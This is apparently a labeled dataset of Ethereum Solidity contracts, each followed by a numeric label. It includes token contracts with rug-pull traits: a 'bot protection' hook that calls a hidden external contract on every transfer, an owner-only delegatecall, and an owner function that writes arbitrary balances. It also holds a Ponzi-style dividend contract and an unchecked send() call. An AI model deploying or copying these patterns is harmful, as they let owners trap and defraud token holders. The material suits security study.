function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract FidelityHouseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
uint256 public lockedUntil;
mapping(address => uint256) internal lockedBalances;
modifier canTransfer(address _from, uint256 _value) {
require(
mintingFinished,
"Minting should be finished before transfer."
);
require(
_value <= balances[_from].sub(lockedBalanceOf(_from)),
"Can't transfer more than unlocked tokens"
);
_;
}
constructor(uint256 _lockedUntil)
DetailedERC20("FidelityHouse Token", "FIH", 18)
public
{
lockedUntil = _lockedUntil;
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_owner] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
} | 1 | 2,804 |
pragma solidity ^0.4.25;
contract LootEtherDailyDividends {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 10;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.01 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(10).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,610 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract PolkamonToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 10000000000000000000000000;
string public name = "Polkamon";
string public symbol = "PMON";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,900 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LiteRheumToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = 'LiteRheumToken';
string public constant symbol = 'LRT';
uint public constant decimals = 18;
uint256 public totalSupply = 50000000e18;
uint256 public totalDistributed = 200000000e18;
uint256 public constant MIN_CONTRIBUTION = 1 ether / 100;
uint256 public tokensPerEth = 500000e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor () public {
owner = msg.sender;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public
onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
require(msg.value >= MIN_CONTRIBUTION);
require(msg.value > 0);
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= 0.05 ether) {
bonus = (tokens * 5) / 100;
}
if (msg.value >= 0.06 ether) {
bonus = (tokens * 6) / 100;
}
if (msg.value >= 0.07 ether) {
bonus = (tokens * 7) / 100;
}
if (msg.value >= 0.08 ether) {
bonus = (tokens * 8) / 100;
}
if (msg.value >= 0.09 ether) {
bonus = (tokens * 9) / 100;
}
if (msg.value >= 0.1 ether) {
bonus = (tokens * 10) / 100;
}
if (msg.value >= 0.2 ether) {
bonus = (tokens * 20) / 100;
}
if (msg.value >= 0.3 ether) {
bonus = (tokens * 30) / 100;
}
if (msg.value >= 0.4 ether) {
bonus = (tokens * 40) / 100;
}
if (msg.value >= 0.5 ether) {
bonus = (tokens * 50) / 100;
}
if (msg.value >= 0.6 ether) {
bonus = (tokens * 60) / 100;
}
if (msg.value >= 0.7 ether) {
bonus = (tokens * 70) / 100;
}
if (msg.value >= 0.8 ether) {
bonus = (tokens * 80) / 100;
}
if (msg.value >= 0.9 ether) {
bonus = (tokens * 90) / 100;
}
if (msg.value >= 1 ether) {
bonus = (tokens * 100) / 100;
}
if (tokens > 0) {
distr(investor, (tokens + bonus));
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 2,757 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function subVirus(address , uint256 ) public {}
function claimPrizePool(address , uint256 ) public {}
}
contract CryptoMiningWarInterface {
uint256 public deadline;
function subCrystal( address , uint256 ) public {}
}
contract CrystalShare {
using SafeMath for uint256;
bool init = false;
address public administrator;
uint256 public HALF_TIME = 24 hours;
uint256 public round = 0;
CryptoEngineerInterface public EngineerContract;
CryptoMiningWarInterface public MiningWarContract;
uint256 public miningWarDeadline;
uint256 constant public CRTSTAL_MINING_PERIOD = 86400;
mapping(uint256 => Game) public games;
mapping(address => Player) public players;
struct Game {
uint256 round;
uint256 crystals;
uint256 prizePool;
uint256 endTime;
bool ended;
}
struct Player {
uint256 currentRound;
uint256 lastRound;
uint256 reward;
uint256 share;
}
event EndRound(uint256 round, uint256 crystals, uint256 prizePool, uint256 endTime);
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
constructor() public {
administrator = msg.sender;
MiningWarContract = CryptoMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
EngineerContract = CryptoEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function setupMiniGame( uint256 , uint256 _miningWarDeadline ) public
{
miningWarDeadline = _miningWarDeadline;
}
function startGame() public
{
require(msg.sender == administrator);
require(init == false);
init = true;
miningWarDeadline = getMiningWarDealine();
games[round].ended = true;
startRound();
}
function startRound() private
{
require(games[round].ended == true);
uint256 crystalsLastRound = games[round].crystals;
uint256 prizePoolLastRound= games[round].prizePool;
round = round + 1;
uint256 endTime = now + HALF_TIME;
uint256 engineerPrizePool = getEngineerPrizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
if (crystalsLastRound <= 0) {
prizePool = SafeMath.add(prizePool, prizePoolLastRound);
}
EngineerContract.claimPrizePool(address(this), prizePool);
games[round] = Game(round, 0, prizePool, endTime, false);
}
function endRound() private
{
require(games[round].ended == false);
require(games[round].endTime <= now);
Game storage g = games[round];
g.ended = true;
startRound();
emit EndRound(g.round, g.crystals, g.prizePool, g.endTime);
}
function share(uint256 _value) public disableContract
{
require(miningWarDeadline > now);
require(games[round].ended == false);
require(_value >= 10000);
MiningWarContract.subCrystal(msg.sender, _value);
if (games[round].endTime <= now) endRound();
updateReward(msg.sender);
Game storage g = games[round];
uint256 _share = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
g.crystals = SafeMath.add(g.crystals, _share);
Player storage p = players[msg.sender];
if (p.currentRound == round) {
p.share = SafeMath.add(p.share, _share);
} else {
p.share = _share;
p.currentRound = round;
}
}
function withdrawReward() public disableContract
{
if (games[round].endTime <= now) endRound();
updateReward(msg.sender);
Player storage p = players[msg.sender];
msg.sender.send(p.reward);
p.reward = 0;
}
function updateReward(address _addr) private
{
Player storage p = players[_addr];
if (
games[p.currentRound].ended == true &&
p.lastRound < p.currentRound
) {
p.reward = SafeMath.add(p.share, calculateReward(msg.sender, p.currentRound));
p.lastRound = p.currentRound;
}
}
function calculateReward(address _addr, uint256 _round) public view returns(uint256)
{
Player memory p = players[_addr];
Game memory g = games[_round];
if (g.endTime > now) return 0;
if (g.crystals == 0) return 0;
return SafeMath.div(SafeMath.mul(g.prizePool, p.share), g.crystals);
}
function getEngineerPrizePool() private view returns(uint256)
{
return EngineerContract.prizePool();
}
function getMiningWarDealine () private view returns(uint256)
{
return MiningWarContract.deadline();
}
} | 0 | 2,028 |
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.6.12;
contract BigBag {
using SafeERC20 for IERC20;
address payable dao = 0x28A3D3467A3198D1bb5311836036D53c3C64b999;
address public dao_agent = 0x8c3ad3580A8635e236ccE26D2851AAf10401E262;
IERC20 public xrt = IERC20(0x7dE91B204C1C737bcEe6F000AAA6569Cf7061cb7);
uint256 public amount_wei = 99 ether;
uint256 public amount_wn = 3348667298065;
function buy() payable external {
require(msg.value == amount_wei, "transaction value does not match");
xrt.safeTransferFrom(dao_agent, msg.sender, amount_wn);
dao.call{gas: 50000, value: msg.value}("");
require(address(this).balance == 0, "transfer is not complete");
}
} | 0 | 2,301 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
